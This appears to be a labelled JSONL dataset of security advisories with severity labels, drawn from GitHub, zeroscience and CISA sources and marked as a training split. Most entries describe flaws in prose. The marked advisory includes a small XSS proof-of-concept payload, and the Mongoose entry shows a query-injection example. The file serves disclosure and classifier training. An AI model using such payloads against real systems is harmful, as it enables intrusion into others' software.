-{"id": "b140e0a26edafaf79c83", "text": "HTTP Request smuggling in tiny_http\n\nHTTP pipelining issues and request smuggling attacks are possible due to incorrect Transfer encoding header parsing. It is possible conduct HTTP request smuggling attacks (CL:TE/TE:TE) by sending invalid Transfer Encoding headers. By manipulating the HTTP response the attacker could poison a web-cache, perform an XSS attack, or obtain sensitive information from requests other than their own.", "text_raw": "HTTP Request smuggling in tiny_http\n\n[Severity: MEDIUM]\n\nHTTP pipelining issues and request smuggling attacks are possible due to incorrect Transfer encoding header parsing. It is possible conduct HTTP request smuggling attacks (CL:TE/TE:TE) by sending invalid Transfer Encoding headers. By manipulating the HTTP response the attacker could poison a web-cache, perform an XSS attack, or obtain sensitive information from requests other than their own.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "727fde78b4c159159b27", "text": "Improper validation of certificate with host mismatch in Apache Log4j SMTP appender\n\nImproper validation of certificate with host mismatch in Apache Log4j SMTP appender prior to version 2.13.2. This could allow an SMTPS connection to be intercepted by a man-in-the-middle attack which could leak any log messages sent through that appender.", "text_raw": "Improper validation of certificate with host mismatch in Apache Log4j SMTP appender\n\n[Severity: LOW]\n\nImproper validation of certificate with host mismatch in Apache Log4j SMTP appender prior to version 2.13.2. This could allow an SMTPS connection to be intercepted by a man-in-the-middle attack which could leak any log messages sent through that appender.", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2020-06-05", "split": "train"}
-{"id": "932e77e14c509a35c0bb", "text": "Apache Hive before 0.13.1, when in SQL standards based authorization mode, does not properly check the file permissions for (1) import and (2) export statements, which allows remote authenticated users to obtain sensitive information via a crafted URI.", "text_raw": "Low severity vulnerability that affects      org.apache.hive:hive-exec, org.apache.hive:hive, and org.apache.hive:hive-service\n\n[Severity: LOW]\n\nApache Hive before 0.13.1, when in SQL standards based authorization mode, does not properly check the file permissions for (1) import and (2) export statements, which allows remote authenticated users to obtain sensitive information via a crafted URI.", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2018-11-21", "split": "train"}
-{"id": "c3e2e7495677458cc4a8", "text": "Checkstyle prior to 8.18 loads external DTDs by default, which can potentially lead to denial of service attacks or the leaking of confidential information.", "text_raw": "Moderate severity vulnerability that affects com.puppycrawl.tools:checkstyle\n\n[Severity: MEDIUM]\n\nCheckstyle prior to 8.18 loads external DTDs by default, which can potentially lead to denial of service attacks or the leaking of confidential information.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2019-03-14", "split": "train"}
-{"id": "e50cb6b1556a05cae47c", "text": "VBScript Content Injection in marked\n\nVersions 0.3.2 and earlier of `marked` are affected by a cross-site scripting vulnerability even when `sanitize:true` is set.\n\n## Proof of Concept ( IE10 Compatibility Mode Only )\n\n`[xss link](vbscript:alert(1&#41;)`\n\nwill get a link\n\n`<a href=\"vbscript:alert(1)\">xss link</a>`\n\n## Recommendation\n\nUpdate to version 0.3.3 or later.", "text_raw": "VBScript Content Injection in marked\n\n[Severity: MEDIUM]\n\nVersions 0.3.2 and earlier of `marked` are affected by a cross-site scripting vulnerability even when `sanitize:true` is set. \n\n## Proof of Concept ( IE10 Compatibility Mode Only )\n\n`[xss link](vbscript:alert(1&#41;)`\n\nwill get a link\n\n`<a href=\"vbscript:alert(1)\">xss link</a>`\n\n\n## Recommendation\n\nUpdate to version 0.3.3 or later.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2017-10-24", "split": "train"}
-{"id": "dcbec83db144978a7e26", "text": "Header injection possible in Django\n\nIn Django 2.2 before 2.2.22, 3.1 before 3.1.10, and 3.2 before 3.2.2 (with Python 3.9.5+), URLValidator does not prohibit newlines and tabs (unless the URLField form field is used). If an application uses values with newlines in an HTTP response, header injection can occur. Django itself is unaffected because HttpResponse prohibits newlines in HTTP headers.", "text_raw": "Header injection possible in Django\n\n[Severity: MEDIUM]\n\nIn Django 2.2 before 2.2.22, 3.1 before 3.1.10, and 3.2 before 3.2.2 (with Python 3.9.5+), URLValidator does not prohibit newlines and tabs (unless the URLField form field is used). If an application uses values with newlines in an HTTP response, header injection can occur. Django itself is unaffected because HttpResponse prohibits newlines in HTTP headers.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-06-09", "split": "train"}
-{"id": "f09cbc1e9b828a6843b4", "text": "Remote code execution in rwiki\n\nThe editing form in RWiki 2.1.0pre1 through 2.1.0 allows remote attackers to execute arbitrary Ruby code via unknown attack vectors.", "text_raw": "Remote code execution in rwiki\n\n[Severity: HIGH]\n\nThe editing form in RWiki 2.1.0pre1 through 2.1.0 allows remote attackers to execute arbitrary Ruby code via unknown attack vectors.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2017-10-24", "split": "train"}
-{"id": "aacbec6907842f5ad921", "text": "Request smuggling is possible when both chunked TE and content length specified\n\n### Impact\nRequest smuggling is possible when running behind a proxy that doesn't handle Content-Length and Transfer-Encoding properly or doesn't handle alone \\n as a headers separator.\n\n### Patches\nhttps://github.com/ktorio/ktor/pull/1547\n\n### Workarounds\nNone except migrating to a better proxy.\n\n### References\nhttps://portswigger.net/web-security/request-smuggling\nhttps://tools.ietf.org/html/rfc7230#section-9.5", "text_raw": "Request smuggling is possible when both chunked TE and content length specified\n\n[Severity: LOW]\n\n### Impact\nRequest smuggling is possible when running behind a proxy that doesn't handle Content-Length and Transfer-Encoding properly or doesn't handle alone \\n as a headers separator.\n\n### Patches\nhttps://github.com/ktorio/ktor/pull/1547\n\n### Workarounds\nNone except migrating to a better proxy.\n\n### References\nhttps://portswigger.net/web-security/request-smuggling\nhttps://tools.ietf.org/html/rfc7230#section-9.5", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2020-01-27", "split": "train"}
-{"id": "789b8b3f7eea6050a2af", "text": "Forced Logout in keycloak-connect\n\nVersions of `keycloak-connect` prior to 4.4.0 are vulnerable to Forced Logout. The package fails to validate JWT signatures on the `/k_logout` route, allowing attackers to logout users and craft malicious JWTs with NBF values that prevent user access indefinitely.\n\n## Recommendation\n\nUpgrade to version 4.4.0 or later.", "text_raw": "Forced Logout in keycloak-connect\n\n[Severity: MEDIUM]\n\nVersions of `keycloak-connect` prior to 4.4.0 are vulnerable to Forced Logout. The package fails to validate JWT signatures on the `/k_logout` route, allowing attackers to logout users and craft malicious JWTs with NBF values that prevent user access indefinitely.\n\n\n## Recommendation\n\nUpgrade to version 4.4.0 or later.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2019-06-13", "split": "train"}
-{"id": "aea2e864909b8beb3714", "text": "Command Injection in wiki-plugin-datalog\n\nVersions of `wiki-plugin-datalog` prior to 0.1.6 are vulnerable to Command Injection. The package failed to sanitize URLs on the curl endpoint, allowing attackers to inject commands and possibly achieving Remote Code Execution on the system.\n\n## Recommendation\n\nUpgrade to version 0.1.6 or later.", "text_raw": "Command Injection in wiki-plugin-datalog\n\n[Severity: HIGH]\n\nVersions of `wiki-plugin-datalog` prior to 0.1.6 are vulnerable to Command Injection. The package failed to sanitize URLs on the curl endpoint, allowing attackers to inject commands and possibly achieving Remote Code Execution on the system.\n\n\n## Recommendation\n\nUpgrade to version 0.1.6 or later.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-06-13", "split": "train"}
-{"id": "d132b4136fedb387f157", "text": "Privilege escalation via form generator\n\n### Impact\n\nIt is possible for untrusted users to gain administrator rights with the form generator.\n\nInstallations are only affected if there are untrusted back end users with access to the form generator.\n\n### Patches\n\nUpdate to Contao 4.4.56, 4.9.18 or 4.11.7.\n\n### Workarounds\n\nDisable the form generator or disable the login for untrusted back end users.\n\n### References\n\nhttps://contao.org/en/security-advisories/privilege-escalation-with-the-form-generator\n\n### For more information\n\nIf you have any questions or comments about this advisory, open an issue in [contao/contao](https://github.com/contao/contao/issues/new/choose).", "text_raw": "Privilege escalation via form generator\n\n[Severity: HIGH]\n\n### Impact\n\nIt is possible for untrusted users to gain administrator rights with the form generator.\n\nInstallations are only affected if there are untrusted back end users with access to the form generator.\n\n### Patches\n\nUpdate to Contao 4.4.56, 4.9.18 or 4.11.7.\n\n### Workarounds\n\nDisable the form generator or disable the login for untrusted back end users.\n\n### References\n\nhttps://contao.org/en/security-advisories/privilege-escalation-with-the-form-generator\n\n### For more information\n\nIf you have any questions or comments about this advisory, open an issue in [contao/contao](https://github.com/contao/contao/issues/new/choose).", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-08-23", "split": "train"}
-{"id": "9b911bd921410948afe6", "text": "Null pointer dereference in TensorFlow leads to exploitation\n\nGoogle TensorFlow 1.0.0 through 1.5.1 is affected by: Null Pointer Dereference. The type of exploitation is: context-dependent.", "text_raw": "Null pointer dereference in TensorFlow leads to exploitation\n\n[Severity: HIGH]\n\nGoogle TensorFlow 1.0.0 through 1.5.1 is affected by: Null Pointer Dereference. The type of exploitation is: context-dependent.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-04-24", "split": "train"}
-{"id": "66bd22c431643137513e", "text": "Double free in ordnung\n\nAn issue was discovered in the ordnung crate through version 0.0.1 for Rust. compact::Vec violates memory safety via a remove() double free.", "text_raw": "Double free in ordnung\n\n[Severity: HIGH]\n\nAn issue was discovered in the ordnung crate through version 0.0.1 for Rust. compact::Vec violates memory safety via a remove() double free.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "00d35711f88b705615fe", "text": "Injection and Cross-site Scripting in osm-static-maps\n\nThis affects all versions of package osm-static-maps under 3.9.0. User input given to the package is passed directly to a template without escaping `({{{ ... }}})`. As such, it is possible for an attacker to inject arbitrary HTML/JS code and depending on the context. It will be outputted as an HTML on the page which gives opportunity for XSS or rendered on the server (puppeteer) which also gives opportunity for SSRF and Local File Read.", "text_raw": "Injection and Cross-site Scripting in osm-static-maps\n\n[Severity: HIGH]\n\nThis affects all versions of package osm-static-maps under 3.9.0. User input given to the package is passed directly to a template without escaping `({{{ ... }}})`. As such, it is possible for an attacker to inject arbitrary HTML/JS code and depending on the context. It will be outputted as an HTML on the page which gives opportunity for XSS or rendered on the server (puppeteer) which also gives opportunity for SSRF and Local File Read.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-05-10", "split": "train"}
-{"id": "ea0524144e33e51cbb59", "text": "ManageEngine OpManager Privilege Escalation", "text_raw": "ManageEngine OpManager Privilege Escalation\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2019-01-18", "split": "train"}
-{"id": "b74529b3a0c380775b9f", "text": "KZTech/JatonTec/Neotel JT3500V 4G LTE CPE 2.0.1 Insufficient Session Expiration", "text_raw": "KZTech/JatonTec/Neotel JT3500V 4G LTE CPE 2.0.1 Insufficient Session Expiration\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2021-03-18", "split": "train"}
-{"id": "5d5f0e5f68629374581e", "text": "Improper Input Validation in Automattic Mongoose\n\nAutomattic Mongoose through 5.7.4 allows attackers to bypass access control (in some applications) because any query object with a `_bsontype` attribute is ignored. For example, adding `\"_bsontype\":\"a\"` can sometimes interfere with a query filter. NOTE: this CVE is about Mongoose's failure to work around this _bsontype special case that exists in older versions of the bson parser (aka the mongodb/js-bson project).", "text_raw": "Improper Input Validation in Automattic Mongoose\n\n[Severity: CRITICAL]\n\nAutomattic Mongoose through 5.7.4 allows attackers to bypass access control (in some applications) because any query object with a `_bsontype` attribute is ignored. For example, adding `\"_bsontype\":\"a\"` can sometimes interfere with a query filter. NOTE: this CVE is about Mongoose's failure to work around this _bsontype special case that exists in older versions of the bson parser (aka the mongodb/js-bson project).", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2019-10-22", "split": "train"}
-{"id": "18e9c85d88ba218434bb", "text": "Heap out of bounds access in MakeEdge in TensorFlow\n\n### Impact\nUnder certain cases, loading a saved model can result in accessing uninitialized memory while building the computation graph. The [`MakeEdge` function](https://github.com/tensorflow/tensorflow/blob/3616708cb866365301d8e67b43b32b46d94b08a0/tensorflow/core/common_runtime/graph_constructor.cc#L1426-L1438) creates an edge between one output tensor of the `src` node (given by `output_index`) and the input slot of the `dst` node (given by `input_index`). This is only possible if the types of the tensors on both sides coincide, so the function begins by obtaining the corresponding `DataType` values and comparing these for equality:\n\n```cc\n  DataType src_out = src->output_type(output_index);\n  DataType dst_in = dst->input_type(input_index);\n  //...\n```\n\nHowever, there is no check that the indices point to inside of the arrays they index into. Thus, this can result in accessing data out of bounds of the corresponding heap allocated arrays.\n\nIn most scenarios, this can manifest as unitialized data access, but if the index points far away from the boundaries of the arrays this can be used to leak addresses from the library.\n\n### Patches\nWe have patched the issue in GitHub commit [0cc38aaa4064fd9e79101994ce9872c6d91f816b](https://github.com/tensorflow/tensorflow/commit/0cc38aaa4064fd9e79101994ce9872c6d91f816b) and will release TensorFlow 2.4.0 containing the patch. TensorFlow nightly packages after this commit will also have the issue resolved.\n\nSince this issue also impacts TF versions before 2.4, we will patch all releases between 1.15 and 2.3 inclusive.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.", "text_raw": "Heap out of bounds access in MakeEdge in TensorFlow\n\n[Severity: MEDIUM]\n\n### Impact\nUnder certain cases, loading a saved model can result in accessing uninitialized memory while building the computation graph. The [`MakeEdge` function](https://github.com/tensorflow/tensorflow/blob/3616708cb866365301d8e67b43b32b46d94b08a0/tensorflow/core/common_runtime/graph_constructor.cc#L1426-L1438) creates an edge between one output tensor of the `src` node (given by `output_index`) and the input slot of the `dst` node (given by `input_index`). This is only possible if the types of the tensors on both sides coincide, so the function begins by obtaining the corresponding `DataType` values and comparing these for equality:\n\n```cc\n  DataType src_out = src->output_type(output_index);\n  DataType dst_in = dst->input_type(input_index);\n  //...\n```\n\nHowever, there is no check that the indices point to inside of the arrays they index into. Thus, this can result in accessing data out of bounds of the corresponding heap allocated arrays.\n\nIn most scenarios, this can manifest as unitialized data access, but if the index points far away from the boundaries of the arrays this can be used to leak addresses from the library.\n\n### Patches\nWe have patched the issue in GitHub commit [0cc38aaa4064fd9e79101994ce9872c6d91f816b](https://github.com/tensorflow/tensorflow/commit/0cc38aaa4064fd9e79101994ce9872c6d91f816b) and will release TensorFlow 2.4.0 containing the patch. TensorFlow nightly packages after this commit will also have the issue resolved.\n\nSince this issue also impacts TF versions before 2.4, we will patch all releases between 1.15 and 2.3 inclusive.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-12-10", "split": "train"}
-{"id": "ae6992870e5b4606676d", "text": "Pacer Edition CMS 2.1 (l param) Local File Inclusion Vulnerability", "text_raw": "Pacer Edition CMS 2.1 (l param) Local File Inclusion Vulnerability\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2011-06-10", "split": "train"}
-{"id": "e0049d11239f714b652c", "text": "Infor CRM 8.2.0.1136 Multiple HTML Script Injection Vulnerabilities", "text_raw": "Infor CRM 8.2.0.1136 Multiple HTML Script Injection Vulnerabilities\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2016-02-26", "split": "train"}
-{"id": "d003783e1316d74f4b84", "text": "Zenario CMS 7.0.2d Reflected XSS and Open Redirect Vulnerabilities", "text_raw": "Zenario CMS 7.0.2d Reflected XSS and Open Redirect Vulnerabilities\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2014-11-20", "split": "train"}
-{"id": "2ebb5a64aab16289c7da", "text": "opencontainers runc contains procfs race condition with a shared volume mount\n\n### Impact\nBy crafting a malicious root filesystem (with `/proc` being a symlink to a directory which was inside a volume shared with another running container), an attacker in control of both containers can trick `runc` into not correctly configuring the container's security labels and not correctly masking paths inside `/proc` which contain potentially-sensitive information about the host (or even allow for direct attacks against the host).\n\nIn order to exploit this bug, an untrusted user must be able to spawn custom containers with custom mount configurations (such that a volume is shared between two containers). It should be noted that we consider this to be a fairly high level of access for an untrusted user -- and we do not recommend allowing completely untrusted users to have such degrees of access without further restrictions.\n\n### Specific Go Package Affected\ngithub.com/opencontainers/runc/libcontainer\n\n### Patches\nThis vulnerability has been fixed in `1.0.0-rc10`. It should be noted that the current fix is effectively a hot-fix, and there are known ways for it to be worked around (such as making the entire root filesystem a shared volume controlled by another container). We recommend that users review their access policies to ensure that untrusted users do not have such high levels of controls over container mount configuration.\n\n### Workarounds\nIf you are not providing the ability for untrusted users to configure mountpoints for `runc` (or through a higher-level tool such as `docker run -v`) then you are not vulnerable to this issue. This exploit requires fairly complicated levels of access (which are available for some public clouds but are not necessarily available for all deployments).\n\nAdditionally, it appears as though it is not possible to exploit this vulnerability through Docker (due to the order of mounts Docker generates). However you should not depend on this, as it may be possible to work around this roadblock.\n\n### Credits\nThis vulnerability was discovered by Cure53, as part of a third-party security audit.\n\n### For more information\nIf you have any questions or comments about this advisory:\n* [Open an issue](https://github.com/opencontainers/runc/issues/new).\n* Email us at [dev@opencontainers.org](mailto:dev@opencontainers.org), or [security@opencontainers.org](mailto:security@opencontainers.org) if you think you've found a security bug.", "text_raw": "opencontainers runc contains procfs race condition with a shared volume mount\n\n[Severity: MEDIUM]\n\n### Impact\nBy crafting a malicious root filesystem (with `/proc` being a symlink to a directory which was inside a volume shared with another running container), an attacker in control of both containers can trick `runc` into not correctly configuring the container's security labels and not correctly masking paths inside `/proc` which contain potentially-sensitive information about the host (or even allow for direct attacks against the host).\n\nIn order to exploit this bug, an untrusted user must be able to spawn custom containers with custom mount configurations (such that a volume is shared between two containers). It should be noted that we consider this to be a fairly high level of access for an untrusted user -- and we do not recommend allowing completely untrusted users to have such degrees of access without further restrictions.\n\n### Specific Go Package Affected\ngithub.com/opencontainers/runc/libcontainer\n\n### Patches\nThis vulnerability has been fixed in `1.0.0-rc10`. It should be noted that the current fix is effectively a hot-fix, and there are known ways for it to be worked around (such as making the entire root filesystem a shared volume controlled by another container). We recommend that users review their access policies to ensure that untrusted users do not have such high levels of controls over container mount configuration.\n\n### Workarounds\nIf you are not providing the ability for untrusted users to configure mountpoints for `runc` (or through a higher-level tool such as `docker run -v`) then you are not vulnerable to this issue. This exploit requires fairly complicated levels of access (which are available for some public clouds but are not necessarily available for all deployments).\n\nAdditionally, it appears as though it is not possible to exploit this vulnerability through Docker (due to the order of mounts Docker generates). However you should not depend on this, as it may be possible to work around this roadblock.\n\n### Credits\nThis vulnerability was discovered by Cure53, as part of a third-party security audit.\n\n### For more information\nIf you have any questions or comments about this advisory:\n* [Open an issue](https://github.com/opencontainers/runc/issues/new).\n* Email us at [dev@opencontainers.org](mailto:dev@opencontainers.org), or [security@opencontainers.org](mailto:security@opencontainers.org) if you think you've found a security bug.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-05-27", "split": "train"}
-{"id": "b8ba83eb2d5e395cdd85", "text": "Malicious Package in buffmr-xor\n\nVersion 2.0.2 contained malicious code. The package targeted the Ethereum cryptocurrency and performed transactions to wallets not controlled by the user.\n\n## Recommendation\n\nRemove the package from your environment. Ensure no Ethereum funds were compromised.", "text_raw": "Malicious Package in buffmr-xor\n\n[Severity: CRITICAL]\n\nVersion 2.0.2 contained malicious code. The package targeted the Ethereum cryptocurrency and performed transactions to wallets not controlled by the user.\n\n\n## Recommendation\n\nRemove the package from your environment. Ensure no Ethereum funds were compromised.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "d51ffd37167c60b36613", "text": "AWBS v2.9.6 Multiple Remote Vulnerabilities", "text_raw": "AWBS v2.9.6 Multiple Remote Vulnerabilities\n\nSeverity: high", "severity": "high", "severity_label": 2, "source": "zeroscience", "timestamp": "2016-07-05", "split": "train"}
-{"id": "a145e27595ed9f42aafb", "text": "Prototype Pollution in property-expr\n\nThe package property-expr before 2.0.3 are vulnerable to Prototype Pollution via the setter function.", "text_raw": "Prototype Pollution in property-expr\n\n[Severity: CRITICAL]\n\nThe package property-expr before 2.0.3 are vulnerable to Prototype Pollution via the setter function.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-05-06", "split": "train"}
-{"id": "f453b5b632cc1e54772a", "text": "Privacyware Privatefirewall 7.0 Unquoted Service Path Privilege Escalation", "text_raw": "Privacyware Privatefirewall 7.0 Unquoted Service Path Privilege Escalation\n\nSeverity: low", "severity": "low", "severity_label": 0, "source": "zeroscience", "timestamp": "2014-11-21", "split": "train"}
-{"id": "4fb9eeaadfcfa6d8908e", "text": "Unbounded connection acceptance leads to file handle exhaustion\n\n### Impact\n\nAll servers running blaze-core <= 0.14.14, including blaze-http and http4s-blaze-server users, are affected.\n\nBlaze, accepts connections unconditionally on a dedicated thread pool. This has the net effect of amplifying degradation in services that are unable to handle their current request load, since incoming connections are still accepted and added to an unbounded queue. Each connection allocates a socket handle, which drains a scarce OS resource. This can also confound higher level circuit breakers which work based on detecting failed connections.\n\nThe vast majority of affected users are using it as part of http4s-blaze-server <= 0.21.16.  http4s provides a mechanism for limiting open connections, but is enforced inside the Blaze accept loop, after the connection is accepted and the socket opened. Thus, the limit only prevents the number of connections which can be simultaneously processed, not the number of connections which can be held open.\n\n### Patches\n\nThe issue is fixed in version 0.14.15 for `NIO1SocketServerGroup`.  A `maxConnections` parameter is added, with a default value of 512.  Concurrent connections beyond this limit are rejected.  To run unbounded, which is not recommended, set a negative number.\n\nThe `NIO2SocketServerGroup`  has no such setting and is now deprecated.\n\n### Workarounds\n* An Nginx side-car acting as a reverse proxy for the local http4s-blaze-server instance would be able to apply a connection limiting semantic before the sockets reach blaze-core. Nginx’s connection bounding is both asynchronous and properly respects backpressure.\n* A similar sidecar strategy is viable for other non-HTTP services running on blaze-core.\n* http4s-ember-server is an alternative to http4s-blaze-server, but does not yet have HTTP/2 or web socket support.  Its performance in terms of RPS is appreciably behind Blaze’s, and as the newest backend, has substantially less industrial uptake.\n* http4s-jetty is an alternative to http4s-blaze-server, but does not yet have web socket support.  Its performance in terms of requests per second is somewhat behind Blaze’s, and despite Jetty's industrial adoption, the http4s integration has substantially less industrial uptake.\n* http4s-tomcat is an alternative to http4s-blaze-server, but does not yet have HTTP/2 web socket support.  Its performance in terms of requests per second is somewhat behind Blaze’s, and despite Jetty's industrial adoption, the http4s integration has substantially less industrial uptake.\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [http4s/blaze](http://github.com/http4s/blaze)\n* Contact us according to the [http4s security policy](https://github.com/http4s/http4s/security/policy)", "text_raw": "Unbounded connection acceptance leads to file handle exhaustion\n\n[Severity: HIGH]\n\n### Impact\n\nAll servers running blaze-core <= 0.14.14, including blaze-http and http4s-blaze-server users, are affected.\n\nBlaze, accepts connections unconditionally on a dedicated thread pool. This has the net effect of amplifying degradation in services that are unable to handle their current request load, since incoming connections are still accepted and added to an unbounded queue. Each connection allocates a socket handle, which drains a scarce OS resource. This can also confound higher level circuit breakers which work based on detecting failed connections.\n\nThe vast majority of affected users are using it as part of http4s-blaze-server <= 0.21.16.  http4s provides a mechanism for limiting open connections, but is enforced inside the Blaze accept loop, after the connection is accepted and the socket opened. Thus, the limit only prevents the number of connections which can be simultaneously processed, not the number of connections which can be held open.\n\n### Patches\n\nThe issue is fixed in version 0.14.15 for `NIO1SocketServerGroup`.  A `maxConnections` parameter is added, with a default value of 512.  Concurrent connections beyond this limit are rejected.  To run unbounded, which is not recommended, set a negative number.\n\nThe `NIO2SocketServerGroup`  has no such setting and is now deprecated.\n\n### Workarounds\n* An Nginx side-car acting as a reverse proxy for the local http4s-blaze-server instance would be able to apply a connection limiting semantic before the sockets reach blaze-core. Nginx’s connection bounding is both asynchronous and properly respects backpressure.\n* A similar sidecar strategy is viable for other non-HTTP services running on blaze-core.\n* http4s-ember-server is an alternative to http4s-blaze-server, but does not yet have HTTP/2 or web socket support.  Its performance in terms of RPS is appreciably behind Blaze’s, and as the newest backend, has substantially less industrial uptake.\n* http4s-jetty is an alternative to http4s-blaze-server, but does not yet have web socket support.  Its performance in terms of requests per second is somewhat behind Blaze’s, and despite Jetty's industrial adoption, the http4s integration has substantially less industrial uptake.\n* http4s-tomcat is an alternative to http4s-blaze-server, but does not yet have HTTP/2 web socket support.  Its performance in terms of requests per second is somewhat behind Blaze’s, and despite Jetty's industrial adoption, the http4s integration has substantially less industrial uptake.\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [http4s/blaze](http://github.com/http4s/blaze)\n* Contact us according to the [http4s security policy](https://github.com/http4s/http4s/security/policy)", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-02-02", "split": "train"}
-{"id": "403907b2552a92da3c05", "text": "Regular Expression Denial of Service in csv-parse\n\nVersions of `csv-parse` prior to 4.4.6 are vulnerable to Regular Expression Denial of Service. The `__isInt()` function contains a malformed regular expression that processes large specially-crafted input very slowly, leading to a Denial of Service. This is triggered when using the `cast` option.\n\n## Recommendation\n\nUpgrade to version 4.4.6 or later.", "text_raw": "Regular Expression Denial of Service in csv-parse\n\n[Severity: HIGH]\n\nVersions of `csv-parse` prior to 4.4.6 are vulnerable to Regular Expression Denial of Service. The `__isInt()` function contains a malformed regular expression that processes large specially-crafted input very slowly, leading to a Denial of Service. This is triggered when using the `cast` option.\n\n\n## Recommendation\n\nUpgrade to version 4.4.6 or later.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-10-15", "split": "train"}
-{"id": "eca8fab93313e7ace540", "text": "Malicious Package in conistring\n\nAll versions of this package contained malware. The package was designed to find and exfiltrate cryptocurrency wallets.\n\n## Recommendation\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer.\n\nThe package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.", "text_raw": "Malicious Package in conistring\n\n[Severity: CRITICAL]\n\nAll versions of this package contained malware. The package was designed to find and exfiltrate cryptocurrency wallets.\n\n\n## Recommendation\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer.\n\nThe package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "2e94eccfe483e84d6b4c", "text": "QiHang Media Web (QH.aspx) Digital Signage 3.0.9 Unauthenticated Arbitrary File Deletion", "text_raw": "QiHang Media Web (QH.aspx) Digital Signage 3.0.9 Unauthenticated Arbitrary File Deletion\n\nSeverity: high", "severity": "high", "severity_label": 2, "source": "zeroscience", "timestamp": "2020-08-13", "split": "train"}
-{"id": "eec11748882ce3816cc6", "text": "Exim Buffer Overflow Vulnerability\n\nAffected: Exim Exim\n\nExim contains a buffer overflow vulnerability in the base64d function part of the SMTP listener that may allow for remote code execution.\n\nRequired Action: Apply updates per vendor instructions.\n\nRansomware: Known\n\nCWE(s): CWE-119\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "Exim Buffer Overflow Vulnerability\n\nAffected: Exim Exim\n\nExim contains a buffer overflow vulnerability in the base64d function part of the SMTP listener that may allow for remote code execution.\n\nRequired Action: Apply updates per vendor instructions.\n\nRansomware: Known\n\nCWE(s): CWE-119\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-11-03", "split": "train"}
-{"id": "93194c75648256f7b90d", "text": "Prototype Pollution in merge\n\nAll versions of package merge <2.1.1 are vulnerable to Prototype Pollution via _recursiveMerge .", "text_raw": "Prototype Pollution in merge\n\n[Severity: HIGH]\n\nAll versions of package merge <2.1.1 are vulnerable to Prototype Pollution via _recursiveMerge .", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-05-04", "split": "train"}
-{"id": "4285a846742373b2079d", "text": "Withdrawn, accidental duplicate publish.\n\nCross-site scripting (XSS) vulnerability in lib/rails/html/scrubbers.rb in the rails-html-sanitizer gem before 1.0.3 for Ruby on Rails 4.2.x and 5.x allows remote attackers to inject arbitrary web script or HTML via a crafted CDATA node.", "text_raw": "Moderate severity vulnerability that affects rails-html-sanitizer\n\n[Severity: MEDIUM]\n\nWithdrawn, accidental duplicate publish.\r\n\r\nCross-site scripting (XSS) vulnerability in lib/rails/html/scrubbers.rb in the rails-html-sanitizer gem before 1.0.3 for Ruby on Rails 4.2.x and 5.x allows remote attackers to inject arbitrary web script or HTML via a crafted CDATA node.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2018-09-17", "split": "train"}
